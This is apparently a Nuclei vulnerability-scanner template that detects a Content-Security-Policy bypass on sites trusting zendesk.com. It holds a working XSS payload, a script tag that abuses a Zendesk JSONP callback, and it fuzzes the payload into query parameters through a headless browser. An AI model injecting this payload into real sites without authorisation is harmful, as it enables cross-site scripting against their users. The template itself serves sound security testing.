id: zendesk-support-csp-bypass

info:
  name: Content-Security-Policy Bypass - Zendesk Support
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,zendesk-support,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "zendesk.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: zendesk_support_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://support.zendesk.com/accounts/reminder?callback=alert(window.location)//"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "zendesk_support_csp_xss == true"
# digest: 4b0a00483046022100fd09d7f1a6f839a9afbd5922535c6f12a692035c0a732c52886324f7171e92d3022100efe3c75af0617089266066379838d717b42478ede0f30587b68859350e6751b5:922c64590222798bb761d5b6d8e72950